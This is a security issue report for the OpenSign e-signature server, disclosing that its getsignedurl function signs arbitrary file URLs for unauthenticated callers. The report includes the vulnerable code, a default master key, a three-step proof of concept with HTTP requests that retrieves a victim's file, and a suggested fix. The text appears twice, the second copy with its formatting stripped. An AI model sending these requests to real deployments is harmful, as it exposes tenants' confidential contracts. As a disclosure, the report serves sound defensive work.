Issue Description
reported privately on 25 May 2026 but no response: https://github.com/OpenSignLabs/OpenSign/security/advisories/GHSA-585f-38jj-q979
Summary
The getsignedurl Parse cloud function in OpenSignServer accepts a docId or templateId plus a url parameter, and when url contains /files/ it immediately returns presignedlocalUrl(url) — a URL signed with the server's MASTER_KEY JWT — without verifying that the caller is authenticated, without validating that the supplied docId/templateId exists or is owned by the caller, and without checking that the supplied url actually corresponds to the supplied document. The signed URL is the only credential the server-wide file middleware requires; once obtained, it grants read access to the underlying file. An unauthenticated attacker who knows or guesses a Parse file URL (which OpenSign routinely exposes through signing emails, document share links, and audit-trail responses) can therefore download the file without any session.
Details
File: apps/OpenSignServer/cloud/parsefunction/getSignedUrl.js
export async function getSignedUrl(request) {
try {
const docId = request.params.docId || '';
const templateId = request.params.templateId || '';
const url = request.params.url;
if (docId || templateId) {
try {
if (url?.includes('/files/')) {
return presignedlocalUrl(url); // <-- no auth, no DB lookup
} else if (useLocal !== 'true') {
const query = new Parse.Query(docId ? 'contracts_Document' : 'contracts_Template');
// ... only here does the function look up the document and (optionally)
// require auth, gated on IsEnableOTP being true
...
presignedlocalUrl (same file):
export function presignedlocalUrl(signedUrl, expirationTimeInSeconds) {
if (signedUrl?.includes('/files/')) {
const fileUrl = signedUrl.split('?')?.[0];
const secretKey = process.env.MASTER_KEY;
const exp = expirationTimeInSeconds || 200;
const payload = { fileUrl, exp: Math.floor(Date.now() / 1000) + exp };
const token = jwt.sign(payload, secretKey);
return `${fileUrl}?token=${token}`;
}
return signedUrl;
}
The function is registered without any per-request access control:
// apps/OpenSignServer/cloud/main.js:98
Parse.Cloud.define('getsignedurl', getSignedUrl);
The complementary file middleware (apps/OpenSignServer/index.js:192) is the only protection on /files/...:
app.use(async function (req, res, next) {
const isFilePath = req.path?.includes('/files/') || false;
if (isFilePath && req.method.toLowerCase() === 'get') {
const serverUrl = new URL(process.env.SERVER_URL);
const origin = serverUrl.pathname === '/api/app' ? serverUrl.origin + '/api' : serverUrl.origin;
const fileUrl = origin + req.originalUrl;
const params = fileUrl?.split('?')?.[1];
if (params) {
const fileRes = await validateSignedLocalUrl(fileUrl);
if (fileRes === 'Unauthorized') return res.status(400).json({ message: 'unauthorized' });
} else {
return res.status(400).json({ message: 'unauthorized' });
}
next();
} else {
next();
}
});
And validateSignedLocalUrl (same getSignedUrl.js) accepts any JWT signed with the master key whose fileUrl claim matches the requested URL. Because getsignedurl mints a token for any URL the caller supplies, this is trivially satisfied.
Net effect: the file access model assumes every signed URL was issued to someone who legitimately had access. getsignedurl's /files/ short-circuit breaks that assumption — anyone with the Parse Application ID (which is public-by-design for SDK clients) can mint a fresh, valid token for any file URL.
Expected Behavior
No response
Current Behavior
No response
Steps to reproduce
PoC
Tested against opensign/opensignserver:main with USE_LOCAL=true, default APP_ID=opensign, default MASTER_KEY=XnAadwKxxByMr.
Step 0 — a victim uploads a file in the normal flow (via Parse REST POST /app/files/...). The server returns a URL of the form:
http://<host>/app/files/<appId>/<random32hex>_<original-filename>
For example: http://localhost:8080/app/files/opensign/45f68f23c6a4fe7e51d269685aff9f7c_victim_invoice.txt
Step 1 — confirm direct access without a token is blocked:
GET /app/files/opensign/45f68f23c6a4fe7e51d269685aff9f7c_victim_invoice.txt
->
HTTP/1.1 400 Bad Request
{"message":"unauthorized"}
Step 2 — unauthenticated attacker calls getsignedurl with the target file URL:
POST /app/functions/getsignedurl HTTP/1.1
Host: localhost:8080
X-Parse-Application-Id: opensign
Content-Type: application/json
{"docId":"any","url":"http://localhost:8080/app/files/opensign/45f68f23c6a4fe7e51d269685aff9f7c_victim_invoice.txt"}
Response:
{"result":"http://localhost:8080/app/files/opensign/45f68f23c6a4fe7e51d269685aff9f7c_victim_invoice.txt?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
The docId value is not checked against the database — any non-empty string works.
Step 3 — download the file with the signed URL (no session cookie, no Bearer token, no Application-Id header required):
GET /app/files/opensign/45f68f23c6a4fe7e51d269685aff9f7c_victim_invoice.txt?token=eyJhbGciOiJIUzI1NiIs...
->
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 53
VICTIM SECRET CONTENT - confidential business invoice
Impact
OpenSign is an e-signature platform; files served via /app/files/... include signed contracts, uploaded documents pending signature, and audit-trail PDFs — all sensitive tenant data. The deployed protection model is "files are only retrievable via a signed URL minted after an authorisation check". This bug eliminates the authorisation check: any caller with network reach to the Parse server and knowledge of the Parse Application ID (typically embedded in the frontend bundle and so effectively public for SDK use) can mint a valid signed URL for any file URL they obtain.
File URLs in OpenSign are not guessable from scratch (the filename includes a 32-character random hex prefix), but they leak through several legitimate channels:
- Signer notification emails contain direct links to the audit trail / signed PDF.
- Public document share / view links sent to non-account signers.
- API responses returning document metadata visible to any tenant member, including the file URL field on
contracts_Document.SignedUrl.
- Server access logs / reverse-proxy logs.
- Browser history / clipboard.
Once a URL is observed via any of those channels, this bypass keeps it accessible indefinitely (until the file is deleted), independent of session revocation or document-share expiration policies the operator may have configured.
The bug also defeats the existing IsEnableOTP document protection — that check lives in the other branch of getsignedurl (the S3 path) and is unreachable for USE_LOCAL=true deployments.
Suggested fix: the /files/ branch of getsignedurl must perform the same DB lookup as the S3 branch — load contracts_Document / contracts_Template by the supplied docId/templateId, verify the calling user has access (use isAuthenticated(request.user) and an ownership check against the tenant/team), and verify the supplied url is actually a file referenced by that document. Alternatively, drop the user-supplied url parameter entirely and derive the file URL server-side from the document.
Screenshots of the issue(optional)
No response
Operating System [e.g. MacOS Sonoma 14.1, Windows 11]
No response
What browsers are you seeing the problem on?
Chrome
What version of OpenSign™ are you seeing this issue on? [e.g. 1.0.6]
commit 0c29596
What environment are you seeing the problem on?
No response
Please check the boxes that apply to this issue report.
Code of Conduct
Issue Description
reported privately on 25 May 2026 but no response: https://github.com/OpenSignLabs/OpenSign/security/advisories/GHSA-585f-38jj-q979
Summary
The
getsignedurlParse cloud function in OpenSignServer accepts adocIdortemplateIdplus aurlparameter, and whenurlcontains/files/it immediately returnspresignedlocalUrl(url)— a URL signed with the server'sMASTER_KEYJWT — without verifying that the caller is authenticated, without validating that the supplieddocId/templateIdexists or is owned by the caller, and without checking that the suppliedurlactually corresponds to the supplied document. The signed URL is the only credential the server-wide file middleware requires; once obtained, it grants read access to the underlying file. An unauthenticated attacker who knows or guesses a Parse file URL (which OpenSign routinely exposes through signing emails, document share links, and audit-trail responses) can therefore download the file without any session.Details
File:
apps/OpenSignServer/cloud/parsefunction/getSignedUrl.jspresignedlocalUrl(same file):The function is registered without any per-request access control:
The complementary file middleware (
apps/OpenSignServer/index.js:192) is the only protection on/files/...:And
validateSignedLocalUrl(samegetSignedUrl.js) accepts any JWT signed with the master key whosefileUrlclaim matches the requested URL. Becausegetsignedurlmints a token for any URL the caller supplies, this is trivially satisfied.Net effect: the file access model assumes every signed URL was issued to someone who legitimately had access.
getsignedurl's/files/short-circuit breaks that assumption — anyone with the Parse Application ID (which is public-by-design for SDK clients) can mint a fresh, valid token for any file URL.Expected Behavior
No response
Current Behavior
No response
Steps to reproduce
PoC
Tested against
opensign/opensignserver:mainwithUSE_LOCAL=true, defaultAPP_ID=opensign, defaultMASTER_KEY=XnAadwKxxByMr.Step 0 — a victim uploads a file in the normal flow (via Parse REST
POST /app/files/...). The server returns a URL of the form:For example:
http://localhost:8080/app/files/opensign/45f68f23c6a4fe7e51d269685aff9f7c_victim_invoice.txtStep 1 — confirm direct access without a token is blocked:
Step 2 — unauthenticated attacker calls
getsignedurlwith the target file URL:Response:
{"result":"http://localhost:8080/app/files/opensign/45f68f23c6a4fe7e51d269685aff9f7c_victim_invoice.txt?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}The
docIdvalue is not checked against the database — any non-empty string works.Step 3 — download the file with the signed URL (no session cookie, no Bearer token, no Application-Id header required):
Impact
OpenSign is an e-signature platform; files served via
/app/files/...include signed contracts, uploaded documents pending signature, and audit-trail PDFs — all sensitive tenant data. The deployed protection model is "files are only retrievable via a signed URL minted after an authorisation check". This bug eliminates the authorisation check: any caller with network reach to the Parse server and knowledge of the Parse Application ID (typically embedded in the frontend bundle and so effectively public for SDK use) can mint a valid signed URL for any file URL they obtain.File URLs in OpenSign are not guessable from scratch (the filename includes a 32-character random hex prefix), but they leak through several legitimate channels:
contracts_Document.SignedUrl.Once a URL is observed via any of those channels, this bypass keeps it accessible indefinitely (until the file is deleted), independent of session revocation or document-share expiration policies the operator may have configured.
The bug also defeats the existing
IsEnableOTPdocument protection — that check lives in the other branch ofgetsignedurl(the S3 path) and is unreachable forUSE_LOCAL=truedeployments.Suggested fix: the
/files/branch ofgetsignedurlmust perform the same DB lookup as the S3 branch — loadcontracts_Document/contracts_Templateby the supplieddocId/templateId, verify the calling user has access (useisAuthenticated(request.user)and an ownership check against the tenant/team), and verify the suppliedurlis actually a file referenced by that document. Alternatively, drop the user-suppliedurlparameter entirely and derive the file URL server-side from the document.Screenshots of the issue(optional)
No response
Operating System [e.g. MacOS Sonoma 14.1, Windows 11]
No response
What browsers are you seeing the problem on?
Chrome
What version of OpenSign™ are you seeing this issue on? [e.g. 1.0.6]
commit 0c29596
What environment are you seeing the problem on?
No response
Please check the boxes that apply to this issue report.
Code of Conduct